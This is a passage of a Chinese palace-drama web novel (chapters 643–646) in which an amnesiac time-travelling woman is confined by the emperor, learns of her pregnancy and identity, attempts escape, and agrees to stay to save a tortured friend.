一念至此,璟帝知道自己必须先耐下心来。 于是顿显得心情愉悦地立起身来,嘱咐衣上云道:“好啦,你醒来便好!大病初愈,又闹腾了这一早上,这会儿想必你也一定有些累了,便就再歇一会儿吧!” 衣上云依旧看都不看他一眼,兀自只立在殿内靠窗的一边上,望着窗外。 璟帝最后对众人说了声:“好了,都随朕出去吧,不要让人打扰她!” “是!” 于是,所有人便都紧随其后离开,只留下衣上云一人在偌大的殿内。 直到听到有人“咣当”一声,替自己将门关了起来。 衣上云方才回过神来,环视了殿内一圈。 自己亦终于无力地“扑通”一声,一屁股重重地瘫坐在窗前的软榻上。 冥思苦想了许久,却是始终都不能理解,更是想不起来,嘴里只喃喃道:“这一切,到底是怎么回事?” 而同样在离开长宁宫后,张致远远远地跟在璟帝的身后,亦是若有所思,纳闷极了…… 第六百四十三章:到底是不是 “是……” “不是……” “不是……” “是……” 看到张致远似是沉浸在自己的思绪里,嘴边时不时还发出着一阵阵喃喃低语。 一旁的太监不解地问:“什么是,或者不是,张院判这一路上是在嘀嘀咕咕些什么呢?” 闻声,张致远方才顿回过神来,表情略显慌张,又赶忙解释道:“倒也没什么,微臣只是在想,那姑娘醒来,也不知道身子是不是已经彻底痊愈了!” 听了张致远的话,璟帝亦同意其所说:“张致远说的没错,还是得替她仔细查看查看才是!” 一念至此,遂安排张致远道:“稍后待她平静一会儿,你再去长宁宫好好替她检查一下,看看其身体是否已经无碍了?务必得保证她的身子不能有任何闪失。” 张致远领命:“是,微臣遵命!” 紧接着,又对一旁的太监吩咐说:“还有,让人多送些男装过去!” 太监思索着道:“送男装过去?皇上的意思是……” 璟帝一边走,一边沉声说道:“这宫里人多嘴杂,日后为免麻烦,还是给她乔装一下比较好!” 太监顿时明白过来,道:“老奴明白了,老奴这就立刻亲自去办!” 从长宁宫里出来,皇后便就直接来到了太后的永安宫。 婢女至今依旧半信半疑,满脸甚是疑惑不解:“皇后娘娘,那长宁宫里住着的,究竟是什么人?难道娘娘真的相信皇上所说的?” 皇后本就一路上若有所思着,闻声顿足停下,狠狠瞪了其一眼。 训责其道:“长宁宫里所住着的,就是皇上刚刚从宫外带回的一个普通的幕僚而已。以后在宫里,不许再人云亦云,胡乱妄自加以揣测议论。否则,若是日后闯下大祸,同今日这般一样,怕是就连本宫亦护不了你。” 想起方才惊险的一幕,婢女不禁倒抽了口气,又压低了些许声音,嘀咕着:“可奴婢是亲耳听到长宁宫的人说,皇上带回宫的明明就是一个女子啊,怎么会又变成……” 见她仍是喋喋不休,皇后厉声喝道:“还敢再说……本宫看你现在本事见长,如今就连本宫的话也听不进去了是吗?” 看到主子这次是真的发怒了,婢女方才不得已停止了思绪,转而垂首认错道:“奴婢不敢,奴婢再也不乱说了。” 至此,皇后深深地吸了口气,转回身抬脚迈进了永安宫的门槛去。 来到殿内,皇后同往日一般,端庄恭敬地行礼:“儿臣给母后请安!” 岂料座上的太后则阴沉着脸,开口便斥责其道:“你这个皇后是怎么当的?长宁宫里住进去的到底是什么人?” 皇后惊了一下,忙跪身下去道:“母后请息怒,儿臣听说了关于长宁宫的事情后,一早便就已经亲自去查看过,这才特来向母后回禀。住进长宁宫里的,那分明只不过是一面相俊俏了些许的儿郎,是皇上从宫外新寻来的一幕僚而已,暂居于此。许是因为长得有几分好看,故被人误会,戏说成女子!” 太后看着面前垂首下去的皇后,再次朝其认真郑重地确认:“你所说的,都是真的?确定只是一位幕僚?” 皇后努力掩饰着道:“母后明查,儿臣不敢欺瞒母后,确实只是一幕僚。” 太后这才终于松了口,说:“长宁宫无事便好!老祖宗的规矩不能破,长宁宫事关重大,万不可大意。” 说完顿了顿,看了一眼依旧跪着的皇后,道:“好了,起来坐吧……” “谢母后!”至此,皇后终于立起身来,移步坐到了一边。 这时,太后再次开了口说:“对了,本宫听说这次为了支援觻县治理沙暴,秦王身负重伤,如今怎样了?” 皇后想了想,回答道:“听说昨日已经醒了,想来这两日便会进宫来请安了吧!” 太后舒了口气,说:“醒了就好。有些事,看来皇上还是有些操之过急了!那对母子,可不是如此好对付的。想要除去他们,必得有个万全之策方可。” 皇后附和着说:“母后教训的是!” 这时,一名婢女端着茶盘进来奉茶。 太后对皇后介绍说:“这是城南有名的圣女茶,其汤色清亮,香气高长且滋味醇厚,皇后也尝尝吧。” “谢母后!”皇后执起茶杯来,缓缓送到嘴边。 一口热茶下去刚刚暖喉,太后再次开了口:“对了,想来,这秦王大婚至今,秦王妃都还尚未来请过安呢!也不知上次在太医院怎么会闹得这般厉害。她身上的伤,如今可都已经好了?” 皇后顿怔了一下,道:“秦王妃尚还年轻,想来身子自会比较容易恢复,应是已经痊愈了。” 太后继续一边喝茶,一边说:“让她多进宫来走动走动,再怎么说,她亦已算是我们皇族中人,多走动多亲近一些才会多些了解,如此才好!” 皇后答应道:“儿臣知道了,儿臣会安排的。” “这世上,无论哪儿都一样。不管是皇家,还是普通百姓家,只要一家人相亲相爱地在一起,才是最好的!” 太后缓缓紧握起手中的茶盏,意味深长地说。 “是……” “不是……” “到底是还是不是?” “这到底是怎么回事?” 回到太医院的张致远,愣愣地坐在书案前,依旧百思不得其解。 太过于投入,竟然都没有注意到有人进来。 直到一女子近身过来,在其耳边连叫了好几声。 “院判大人” “院判大人” “张大人” …… 女子见状,不得已看来自己只能提高嗓门,于是在其耳边大喊了一声:“张大人!” 闻声,张致远终于被惊醒。 “丁香……是你!” 待其一看清楚面前来人竟然是丁香时,张致远的心中顿升起一个主意。 于是问都不问女子前来找自己所谓何事,只自顾自赶忙再次提起方才进来时随手放在案上的药箱,一把拽着丁香便出了门。 “你来的正好!有件事,老夫正犯愁呢,走,跟我去见一个人。” 丁香则一边无奈地被其拖走,一边不解地问道:“大人这是做什么?你要带我去哪里,见什么人?” 长宁宫里。 衣上云亦依旧至今都还尚未弄明白,怎么会发生这样的事情? 接下来,她又该怎么办? 就在这时,门外忽然传来一阵叩门声。 “咚咚咚” 显然,所有的事一点都未想明白,此时再次被人打扰,她的心里着实更加烦躁极了。 遂朝门口训斥道:“滚,都给我滚!不要来烦我。” “咚咚咚” 岂料没过多久,那同样节奏的叩门声竟然再次响起。 “你们最好是真的有什么很重要的事情,不然看我怎么收拾你?” 衣上云只得起身怒气冲冲地走过去,伸手一把将门拉开。 抬头一见竟是方才的来人再次折回,于是便气不打一处来的说:“我说了,我不需要,不需要,你能听明白我说的话吗?” 这次,张致远依旧耐心地对其说:“就算你自己不需要人诊治,可是如今你已然有了身孕,经过长时间的昏迷,老夫认为,为了孩子好,最好还是把脉查看一下比较稳妥。” “你说什么?” “你说谁有了身孕?” “你是说……我?” 闻此,衣上云连连惊声,最后垂首下去方才注意到自己明显已微微隆起的腹部。 这时,乘其不备,张致远便带着丁香跨门而入。 丁香反手将门合上后,看着眼前的人简直不敢相信自己的眼睛,上前扑通一声跪了下来。 “奴婢拜见王妃娘娘。” 张致远亦朝其拱手行礼:“微臣参见王妃娘娘。” 衣上云一波尚未反应过来,接着无疑又觉一惊天霹雳朝自己袭来:“王妃……你们说我是……” 在来长宁宫的路上,张致远告诉她这一切,她还怎么都不敢相信。 可现在亲眼所见,丁香只觉心里难过极了:“这到底是怎么回事,娘娘您怎么会什么都不记得了?就连奴婢都不记得了吗?” 张致远亦开口试探着问:“姑娘…… 话刚开口,顿又发现有些不妥,遂转而又说:“不,应是公子才对……” 衣上云斜了他一眼。 张致远接着询问:“公子是真的一点儿也不记得昏迷之前发生什么事了吗?” 然衣上云此刻哪里还能再听进去他们所说的话。 一时间,她又如何能接受自己,不但穿越时空到达了一个闻所未闻的空间,竟然还莫名其妙的有了身孕。 想一想便就烦不可耐,于是伸手将二人再一次一起哄了出去:“出去,都给我出去。” 无奈,俩人被一起推出门后,为避免门口的守卫起疑心,自不得再纠缠,只能暂时离开。 一起走在回太医院的路上,丁香一路都哭哭啼啼着。 张致远亦很无奈,问丁香:“曾经你与她一同在宫里当差,交往甚密,应该彼此了解的更多。所以,你觉得她……到底是不是秦王妃?” “我……我也不知道。”丁香泪眼朦胧,亦是对着所见一切,明明就是她,却又似判若两人,觉得不可思议极了。 思虑再三,丁香开口喃喃道:“是” 闻此,张致远朝她顿瞪大了眼睛。 可马上,丁香却又推翻自己的判断,反问张致远道:“还是不是呢?” 看着张致远看着自己的目光,丁香只觉得此时自己心里混乱极了,着急的说:“张大人,这到底是怎么一回事?” 另一边,璟帝刚回到自己的寝宫,一侍卫便脚步匆匆地进来禀报:“启禀皇上,秦王殿下求见!” 第六百四十四章:赔了夫人又折兵 尽管轩辕翰的到来早已在预料之中,然却不曾想竟来的如此之快,闻此璟帝不禁还是顿愣了一下。 咬紧牙关,心中愤愤道:“看来朕还是小觑了他,这个人,一次又一次,当真极不好对付!” 待一回过神来,便对侍卫下令道:“让他进来吧!” 接着,便见轩辕翰一袭玄色锦袍,墨发全束,身姿挺拔,气势逼人地迈着沉稳的脚步,霸气凌厉地进入大殿来? 此时他脚下的每一步,脑海中都浮现着那些被璟帝无情抛弃并迫害,或正处在水深火热中,或已不幸死去的百姓。 还有那些于战火之中,为了守住这方国土和百姓舍去性命的,跟随自己多年出生入死的将士。 尤其是,自己那在沙暴中遇难,至今都生死未卜的妻子。 因了这一切,其目光中,似是有万千支利箭忿忿不平地欲随时要射出一般。 璟帝高高地坐在金碧辉煌的大殿上。 竟忽然亦被眼前所出现的这个男人的气势惊到,不禁顿直觉自己的后背发凉。 直到轩辕翰已然来到了自己的面前,缓缓抱起拳对他行礼,道:“臣弟参见皇兄!许久未见,皇兄别来无恙。” 璟帝这才醒过神来,即刻站起身,朝轩辕翰身边走了过去。 拉起他的一句胳膊,佯装很是关心地慰问其道:“皇弟你终于醒过来了,为了守住觻县,皇弟这次当真是受苦了。幸得轩辕皇族列祖列宗庇护,你能醒来,这真是太好了!” 岂料这次轩辕翰却出乎意料地看着璟帝的脸,认真地开口质问他了一句:“皇兄确定,再见到臣弟,皇兄是真的开心?” 见此,璟帝顿僵住刚刚扬起的脸上的笑容,道:“这……皇弟说的这是什么话!莫非皇弟还在为援兵迟迟未到的事而责怪皇兄吗?” 轩辕翰收回视线,依旧面不改色,亦不再看他此时虚伪极了的脸,道:“臣弟不敢!” 璟帝无奈地松开手,转身唉声叹气地说:“唉!这都怪那个该死的将领王充。那时,朕还未同皇弟践行,便得知皇弟救灾心切,已先行带人前往觻县。恰逢王充进宫来述职,当时朕明明已将兵符交给了他,下令让他带领援军马不停蹄地日夜赶路去觻县与皇弟会合,务必全力支援你。” 一边说,一边缓缓回坐了回去,既而愤愤道:“可朕怎么都没想到,那王充竟然早已对朝廷生了二心,并未遵照朕的旨意。就连朕所派去的数千精兵,至今都不知其下落在何处?” 顿了顿,最后对轩辕翰信誓旦旦地道:“不过皇弟你放心,朕已经命人去捉拿王充全家了,此次他不但视国事为儿戏,还差点儿害了皇弟你,朕一定要捉拿他回来当面对质,诛其九族,给皇弟及天下,一个满意的交代!” 轩辕翰心里早已料到,这件事情到最后,璟帝一定会拿已经死无对证的王充做替罪羊。 于是淡淡地告诉他,说:“王充……他回不来了,他已经死了。” 闻此,璟帝竟故作起一副惊愕之态,道:“皇弟你说什么?王充……他死了?” “若不是王充替自己挡下那支暗地里射来的毒箭,自己此次怕就要客死他乡了。”轩辕翰心里默默的道。 可这一切,始作俑者此时就在他的面前,然他却什么都做不了。 一想到王充的两个孩子,轩辕翰只开口道:“其实王充……好歹他也算是替臣弟而死。那晚在其府邸,有人暗中使冷箭,是他替臣弟挡下了那支毒箭。” “什么?是谁如此大胆,竟敢对皇弟你……”璟帝坐在上面精彩的表演着。 轩辕翰看着此时的他,心里恨的直痒痒。 但还是压抑着心底的愤怒,道:“王家最后除了两个刚出生尚还在襁褓中的幼子,其夫人与其胞弟,俱都追随王充而去。念其功过相抵,还望皇兄就莫要再继续追究了。至于那批丢失的兵将,臣弟定会将其全力寻回。” 阴谋得逞的璟帝心里简直乐开了花,不但借此除掉了一个浑身尽是反骨逆鳞的眼中钉,还能得到一批兵力。 于是顺着他的话,说:“既然如此,那一切就随臣弟便是!” 轩辕翰拱手朝其致谢:“谢皇兄!” 璟帝道:“这都是小事,皇弟莫要挂怀!” 实在不愿继续面对这张嘴脸,轩辕翰便欲离开,道:“臣弟大病初愈,身体尚还需要调理修养,如果皇兄暂无其他重要的事的话,臣弟便就先行回府了。” 璟帝着急地关怀交待说:“皇弟回府后务必要好好静养才是,西秦不可一日没有皇弟啊!” 轩辕翰并没有再说什么,只双手抱拳朝其施礼后,便转身离开大殿。 而看着其离去的背影,璟帝的脸倏地沉了下来,冷哼一声后,道:“且看来日方长,朕有的是时间慢慢陪你玩!朕就不相信,你次次都能这般幸运!” 如今寻回了守护者,璟帝显然做一切决定都感觉愈加有了底气。 一走出门。 副将程良便低沉着脸,气不打一出来,生气地道:“这次殿下可谓是真正的赔了夫人又折兵!方才在殿上,殿下为何不据理力争,与皇上理论,朝廷根本就未曾派一兵一卒前往觻县支援咱们!” 轩辕翰听了,惜字如金沉声地问:“证据呢?” “证据……”程良显然顿时变得哑口无言。 轩辕翰道:“我们都清楚极了璟帝的阴谋,王充一死,便就是死无对证。永远无人可作证,王充并未收到璟帝所交给他的兵符。如今本王能做的,也就是让王充的两个幼子能够平安长大,这也算是告慰将军的在天之灵了。” 说话间,主仆俩便已来到了长宁宫门口。 不知为什么,似是被一股熟悉的气息所牵绊,使得轩辕翰忽然情不自禁地再次顿足停了下了,移动目光缓缓朝着其宫门方向望了过去。 程良则依旧埋头一边走,一边自顾自若有所思着嘀咕不停:“属下只是不甘心,殿下与王妃娘娘以命相博,方才守住了觻县。费了如此这般大的劲,如今面对那个人,却是什么都不能做?到最后,竟还要搭上咱们数千兵力。不如,属下去查一下兵部的调兵记录,或许会有什么新的发现……” 轩辕翰有些心不在焉地回答他:“他既然敢这样说,自是早都命人做足了一切表面功夫。又岂会那般蠢笨,等着你去查……” “属下就是不甘心……”走着走着,忽然觉得没有了主人的气息,程良紧忙回头一看。 只见轩辕翰依旧尚还远远地双手附后站着,痴痴望向长宁宫的门口,于是亦转身朝回走了过去。 来到轩辕翰的身旁立定,与其一同端详了会儿那道气派不凡的朱红色宫门。 过了会儿,程良方才转过脑袋去看向轩辕翰的侧脸,问:“殿下如此入神,这是在看什么呢?” 轩辕翰并没有回答他的问题,只自顾自地问:“本王昨日命你去查的事情,你可都已经查清楚了?” “怎么差点儿把这茬给忘了!” 被其这一问,程良这才拍了自己的脑袋一巴掌,赶忙回答道:“果然不出殿下所料,长宁宫这两日的确是住进了一位皇上新寻来的幕僚。” “幕僚?!”轩辕翰听了,有些疑惑。 程良继续说:“殿下有所不知,听说关于皇上新寻来的这位幕僚,今日晨起,皇后还带人还这里闹了一场。” 轩辕翰一听,更是不解了,问:“皇嫂……她不是向来不关心皇上这些事的吗?今又怎会因为一个幕僚而闹起来?” 程良笑了笑,解释道:“本身幕僚并没什么稀奇,怪只怪这位幕僚长相俊俏,竟都被人误以为是女子了。长宁宫里向来规定不允许女子居住,这不就搞出个乌龙了吗?” 程良似是对这一切深信不疑,可轩辕翰听着心里却似若有所思着。 遂默想了会儿,开口问程良:“以往皇上都将他的那些幕僚放在聚贤殿,为何这次单独将这位放在了长宁宫?这里,距离他的寝宫仅只有一墙之隔。” 程良沉思片刻,忽惊声道:“殿下的意思……长宁宫里的这位,并非什么皇上的幕僚,那他是什么人?” 一念至此,轩辕翰紧忙追问道:“可知皇后有没有亲自进入到殿内见过那位所谓的幕僚?” 就在程良抓耳挠腮,陷入在自己所收集来的信息,苦苦寻找答案时。 “嘎吱”一声。 长宁宫的大门,忽然被人从里面打了开来。 只见跨过门槛,缓缓走出两名宫女。 那宫女一出来,便就朝着面前挺拔站立着,整个一副不怒自威的身姿近身了过去,不约而同地垂首下去一道躬身施礼。 “奴婢参见秦王殿下。” “奴婢参加秦王殿下。” 然轩辕翰却并未看宫女,只将所有的目光,认真极了地落在了俩名宫女手中所捧着的盘子里。 第六百四十五章:墙头嬉 “殿下……” “殿下……” 看到轩辕翰只顾着目光定定地盯视着俩宫女的方向,久久却不开口说话,程良凑到其耳边轻唤了其两声。 轩辕翰这才回过了神来,移开视线。 于是,程良替其开口打发了两宫女,道:“都起来去忙吧!” “是!” 至此,俩宫女也方才敢直立起身来,兀自离开。 主仆俩亦一同继续往前迈步离宫。 看到轩辕翰忽然变得心事重重,时不时还三步两回头着。 程良追随其目光亦回头放眼过去看了看,却是不解地问:“殿下这是怎么了?是不是有什么发现?可是长宁宫有何问题?” 轩辕翰想了想,忽然再次下令道:“再派些人务必仔细去查查,长宁宫里面所住的,究竟是什么人?” 程良为此纳闷极了,问道:“长宁宫里面住着的,不说是皇上新寻来的幕僚么?” 轩辕翰回忆着刚才自己亲眼所见,从长宁宫里出来的两名宫女,提示程良说道:“方才你难道没注意到那俩个宫女,她们手中所捧着的木盘里所盛着的东西吗?” “木盘里的东西……”程良倏地抬手挠了挠自己的后脑勺,这才急忙回忆起来。 “那两个宫女手里的木盘中,一个盛的是女子的发钗,另一个是女子的纱裙……” 忽然之间,程良亦愈来愈觉得不对劲,终于明白了过来:“难道殿下怀疑……长宁宫里,真的住着女子?” 一时间,程良显然惊呆了…… 这一刻,他恨不得立马回头去破门而入,看看这长宁宫里到底在卖什么药。 无奈,如今长宁宫已然被璟帝下令,不准任何人进入。 轩辕翰此时亦肯定极了地道:“刚才那两个宫女,本王见过。她们是皇上身边服侍多年的侍女,而并非是皇后的人,所以本王确定,皇嫂今晨亦一定未能进入到长宁宫殿内见到这位所谓的幕僚。” 程良问:“都是皇上的人。究竟这位神秘的女子到底是什么人?皇上到底在做什么?竟敢违背先祖所定下的规矩,将女子藏在长宁宫里。” 不知为什么,轩辕翰忽然觉得心里很乱,可一时半会儿亦说不清楚。 他只是非常确定,这个女子,一定对璟帝很重要,以至于,他甘愿冒着如此大的风险,亦要将她藏在距离自己最近的地方。 “对璟帝很重要的女人……” 一念至此,思虑片刻后,最后嘱咐程良说:“还有,继续派人给本王盯好张致远!” 程良胸有成竹地道:“殿下放心。” 说完,主仆俩便开始加快了脚下的步伐离开。 黄昏时分。 夕阳穿透了云层,如梦如幻般照射在这片宁静的宫苑里,将影子拉的好长好长,像在默默诉说着这座皇城的过往。 长宁宫里。 为掩人耳目,衣上云此时已被扮成一风度翩翩的白袍公子,墨发全束,抱着自己的膝盖,蜷缩在殿内一台阶上,倚靠着一根柱子。 好像在思考着什么?又好像什么都没想,就那样呆呆地坐着。 “这一切,到底是怎么回事?” “我怎么会到了这里?” “怎么办,我到底该怎么办?” …… 她的心中有太多的不解,却又不知该去问谁? 然一切的一切,最重要的,是她怎么才能回去? 一念至此,忽然之间,她的脑子里便就变得一片混乱起来。 许是因为心里太过着急,想要回忆起这一切过往。 霎时间,脑海里忽然闪现出许许多多衣着不同风格的人,还有许多凌乱不堪的记忆碎片。 然却都还未来得及看清,她便只觉一阵头痛欲裂的痛感袭来。 遂发出一阵吃痛的闷哼声:“嘶” 终是无力承受,于是本能一般的伸手将脑袋紧紧抱住想要些许缓解,起身在大殿店里脚步凌乱,摇摇晃晃了起来。 就在这时,一婢女捧着食盘跨过门口走了进来。 见状,衣上云此刻如同发疯般的模样,紧忙放下手里的东西在一边的案几上,疾步奔过去关切地问她:“姑娘怎么了,您这是怎么了呀?” “出去……” “出去……” “快给我出去……” 岂料衣上云至今都根本不想见任何人,于是咬牙忍痛,愤愤驱逐起婢女。 俩人就这样推推搡搡着,最后硬是把婢女给推了出去。 “姑娘开门,开开门呀……” “姑娘您都一整天没吃东西了,这样下去,姑娘的身子尚还虚弱着,定是吃不消的!” “开门,开门,姑娘……” …… 任凭婢女如何再在外面拍打,叫门,衣上云都不再理睬她。 可之后,自己也终将是耗尽了本就没多少的力气。 已然再也没了气力,于是背靠在门板,任由整个身子自由往下滑动,直至跌坐在地上,自言自语了起来。 “魏明轩,你到底在哪儿?” “我真的好害怕!” “真的好怕!” “我该怎么办?” “要怎么办?” 至此,终于再也忍不住埋头失声痛哭了起来。 不知过了多久。 许是因为实在是哭累了,衣上云方才缓缓立起身来。 借着殿外月光,及微弱的灯光照耀,慢慢踱步走到了案几边上,看了一眼婢女所留下的饭菜。 不知在纠结什么,只见她最后却并未动它,兀自又绕过食案,落座在了窗前的软榻上,将目光缓缓投向了窗外的沉沉夜色中。 一片寂静的夏夜,明月当头,晚风阵阵。 空气中,到处弥漫着从后院荷塘中所散发出来的清香扑鼻的味道。 耳畔传来清晰的阵阵蛙叫,及蝉鸣的声音。 偶尔,有几只星星点点的萤火虫在窗外的草丛里升起,又落下,似是在捉迷藏一般,欢乐地翩翩起舞着。 …… 就这样似是放空一般地看着,看着。 不禁让她的心,忽然变得平静了下来。 她突然想到了小时候在乡下,也是在这样有些燥热的夏天。 恒古不变,同样皎洁的月光下。 蝉鸣阵阵 萤火虫起舞 高高的麦垛 爸爸 妈妈 弟弟 还有他 …… 可惜,这些幸福的时刻,如果自己一旦被困在这里,这一生,怕是再也不会有了。 想着想着,就在她黯然神伤,欲将要收回目光的那一刻。 忽然,院子的角落里,有一颗高高的大树吸引了她。 像是忽然出现在生命里的一株救命稻草一般。 衣上云惊地顿瞪圆了双眼,立起身来,趴到窗前,再次更加仔细地打量观察了一番。 脸上终于渐渐露出了笑容来。 于是,她急急在殿内寻找,搬来一张案几,将其紧靠着窗户放好。 接着,便抬起一只脚来,稳稳地踩了上去。 小心翼翼地成功跳窗后,偷偷来到了后院角落的这棵柿子树下。 在树下,她又打量了一会儿,找准相继好几个落脚点后。 衣上云竟然伸出双手,环抱住树干,开始爬起树来。 原来,这棵老树竟然高到已经能将人送上墙头。 而到达墙头后,墙的另一边,也有一棵几乎同样高大的树。 那棵树,便就能直接将衣上云送出长宁宫去。 虽然多年未曾爬树了,但经过一番折腾,衣上云竟然真的成功越狱,溜出了长宁宫去。 “咚” 伴随着一只脚着地,衣上云终于逃离了长宁宫的束缚。 衣上云高兴地拍了拍身上的灰尘,道:“多年未练,还以为会生疏许多,如今看来这本领尚还可以的嘛!” 说着,又轻蔑极了地冷哼一声,道:“想要将我困在此处,休想!” 可就在她庆幸终于得以逃脱之际,正准备回头赶紧离开时。 忽从身旁黑暗里,传出一威严的声音道:“这么晚了,你要去哪儿?” 闻声,衣上云脸上刚刚扬起的笑容顿时僵住,却不敢回过头去。 伴随着黑暗里的身影缓缓移动,借着路边的烛火照耀,慢慢现出的人影原来竟是璟帝。 他正打算在就寝前,来长宁宫最后看衣上云一眼,没想到竟撞到了这一幕。 其实他与其布在这里的暗卫早已发现了衣上云的行动,他只是故意不让侍卫上前阻止他,想要看看她究竟想做什么而已。 于是定了定,好奇地问道:“你……还会爬树?” 衣上云冷冷地道:“会爬树有何稀奇?” 璟帝吸了口气,转而又道:“是朕哪里对你不够好吗?你就这般想要逃走?为什么就不能乖乖听话。实际上,你什么都不必做,只要呆在朕的身边就好。” 闻此,衣上云顿时来了气。 遂想了想,终于鼓足了勇气,忽地调转回过头去,厉声呵斥璟帝道:“休想!我警告你,我不知道你们是什么人,为什么要将我关在这里?但是不管你们是谁,都别想将我禁锢在这里,否则,我一定会让集团最好的法务来控告你。” 看着衣上云已然发怒,听着耳边她的这些话,璟帝甚觉闻所未闻地新鲜。 便又接着问:“你叫什么名字?是哪里人?为何言语与我们都如此不同?” 就在衣上云不再打算理会他,转身兀自欲要愤愤离开时,璟帝忽然开口要挟她。 “你就这样离开,丝毫不顾及你那位故人的安危了吗?” “故人,什么故人?” 闻此,衣上云方才顿足停下,转身回来问。 第六百四十六章:好,我答应你 夜深人静。 阴暗潮湿的天牢里,烛火昏暗。 伴随着各种刑具的轮番上阵,随之传出阵阵凄惨至极的哀嚎声来。 “死了!” “怕什么,又不是第一次。这里天天都要死那么多人,丢出去喂狗便是!” 如此视生命为草芥,冰冷无情,毫无人性可言的两句简单对话。 空气里,到处充斥着浓浓的血腥气息。 这时,轮到了满身伤痕,鲜血早已染红了身上几乎已完全看不出原是件白色袍子的拓跋宏被拖了出来。 他被沉重的铁链禁锢住手脚吊起,像是已经奄奄一息。 可即便如此,依旧难逃还要继续被人严刑拷问的厄运。 “快说,你是不是认识那名女子?她到底是什么人?若是再不说,下一个被拉去喂狗的便就是你了!” 接着,还不忘将其侮辱一番:“你这个已经亡了国的蛮夷之邦的漏网之鱼,没想到竟如此难对付,骨头怎的就如此坚硬?” 拓跋宏心里则默默地惊诧着:“真是没想到,堂堂灵空战神,秦王轩辕翰十里红妆亲自迎娶回的王妃,在这偌大的西秦皇宫里,竟无人识得。” 这几日,被囚禁在这暗无天日的天牢里,他思来想去终不得其解:“也不知他们想对乌乐做什么?可无论如何,在一切尚还都没弄清楚之前,势必万万不能告诉他们任何关于她的事情!” “啪……啪……” 见其依旧固执地丝毫闭口不开,便又是接连着不知多少鞭子落下,被狠狠地抽打过后,他又一次无力地昏死了过去。 见此,御卒紧忙上去探了探鼻息,惊叹道:“这命还真硬,打从被关到这里,每隔一个时辰便就拷问一番,至今竟还能活着!” 尽管他早已是到处皮开肉绽,一旁另一拷问的人依旧眼睛眨都不眨一下。 只冷冷地道:“没死,那就便继续打,一直打到他开口说话为止!” 即刻狠狠地下令:“打!” 伴随着一瓢水泼出,拓跋宏很快便得一个激灵,忽地被浇醒。 尚未待其反应过来,御卒手里的鞭子已再次高高扬起到头顶。 就在这时,身后忽然传出一女子阻止的呵斥声道:“住手!” 原是璟帝命身边的太监,特意将衣上云带至此处。 此刻,站在拓跋宏的面前,衣上云亲眼触目惊心地看到眼前的一切,眉头紧缩,惊呆了。 一帮御卒们赶忙回头,纷纷跪在地上叩首:“叩见公公!” 那领头的狱卒霎时换了一副嘴脸,殷勤极了地说:“公公您怎么亲自到这儿来了?” 那太监昂起下巴,问:“怎么,莫非他还是没有开口?” 领头的狱卒愤愤道:“一条国破家亡,犹如丧家之犬的北烈狗,不知为何,当真是不好对付,到现在都还没有撬开他的嘴。” 太监生气地破口朝其骂道:“废物,一群废物。” 随即朝拓跋宏面前走了过去,用两根指头掐住他的下巴,将其抬起头来。 一脸不屑地看着眼前拓跋宏的惨状模样,阴阳怪气地对身后的衣上云说。 “此人,便就是你的故人!你莫不是也不管不顾他了不成?看这模样,他现在的情况很是不好,也不知还撑得了几日?即便如此,你还是想要逃吗?” 衣上云仔仔细细地端详了他许久,一边回忆着,心里默默地问自己。 “故人?” “他?” “他是谁?” “怎么我会一点儿印象都没有?” 可如今不知为何,每每想要想起过去的事,她都会觉得头痛。 于是,就在她想要开口问太监:“他是什么……” 那太监却抢先了她的话说:“在你陷入昏迷,生死未卜的时候,你的故人明知一切是个圈套,却依旧不惜冒着生命危险对你不离不弃。而如今,即便他已重伤离死不远,你竟然可以毫不顾念他一丝一毫。今日你若敢离开,这个人,便定会死无葬身之地。” “你……” 面对其威胁,尽管衣上云对此早已没了任何记忆。 然看着此刻面前一条浑身遍体鳞伤,鲜血淋淋的生命,心里依旧升起诸多怜悯。 看到其心里似是尚还有一丝犹豫,那太监伸手缓缓捏起旁边案几上一把锋利的匕首来。 凝视其锋利无比的刀刃,说:“听说他以前还是一位救死扶伤,颇有名气的医士。只可惜如今却是,失国,失家,失故人,失去了他的灵魂,又即将失去生命。与其现在这般只留一口气,同行尸走肉一般活着,不如一死百了。” 说着,倏地将其抛向身旁的御卒,命令其:“先将这个人的右手手指全部剁掉,看他以后还如何行医把脉?” “不要……”闻此,衣上云惊的忽醒过神来。 最后不得已,只能就此作罢,答应说:“好,我答应你,留下来便是!” 至此,太监终于猛地回过头来,叫了声道:“好,等的就是姑娘这句话。” 衣上云想了想,说:“想要我留下,我有个条件。” 太监看着衣上云的脸,说:“哦?姑娘未免有些贪心了,不过还有什么条件?不妨先说说看。” 衣上云看了看已然伤势不轻的拓跋宏,忧心不已地说:“想要我留下,便要答应让我带他回长宁宫疗伤。” 太监一听,不料想都没想,便扬声叫人:“来人!” 两名御卒上前两步,朝其请示:“公公有何吩咐?” “带走。” 至此,衣上云方才带着拓跋宏终于离开这地狱般的牢笼,结束了这无休止漫长的折磨。 一回到长宁宫。 衣上云便着急又细心地挽起袖子忙碌起来,亲自替拓跋宏清洗,包扎伤口。 一寸寸掀开他的血衣,衣上云这才发现,在拓跋宏的身上,几乎已经很难找到一处好的地方。 她的心,便着实紧紧拧成了一团。 方才太监所说的话,此刻不停在他耳边回荡着。 “明知一切是个圈套,却依旧不惜冒着生命危险对你不离不弃。” …… 忽然之间,她竟都不能屏气凝神,专注于自己手间的注意力。 密密的细汗,不断在其额头间渗出,她却不曾停下,只用胳膊附上去蹭了蹭。 嘴里一次次地喃喃自语。 “你到底是什么人?” “为什么要为我做这些?” “到底为什么?” 偌大寂静的殿内,烛火摇曳。 不知过了多久,终于一切都结束了。 衣上云方才深深地吸了口气,庆幸地道:“这些人,下手未免也太狠了,幸亏他是个有功夫在身的。若是一般人的身子,怕早就没命了。” 看到拓跋宏此刻总算是安静地睡了去,能够好好歇一歇了。 衣上云这才也意识到自己这一天,亦是又累又饿,浑身都快散架了。 于是伸了伸展双臂,走到一旁的案边,猛灌下好几盏热水。 最后“扑通”一声,重重地跌坐下来,趴在自己的胳膊上,侧脸望着拓跋宏熟睡的脸,亦缓缓合上了疲惫的双眼。 翌日清晨。 一缕阳光,透过雕刻细致的窗棂温柔的洒进殿内。 微风吹起殿内的道道纱帘飘扬。 睡梦中,衣上云不知不觉再次呼唤起那个熟悉的名字:“魏明轩,回来,快回来……” 闻声,一双正欲将一条毯子朝其肩膀搭上去的有力的大手,顿停在了半空中。 就在这时,衣上云倏地醒了过来,睁开眼睛。 一见眼前的男子醒来,紧忙立起身来惊道:“你……你醒了!” 拓跋宏心里着实有些失落。 明显,这已经不是他第一次从她口中听到这个名字。 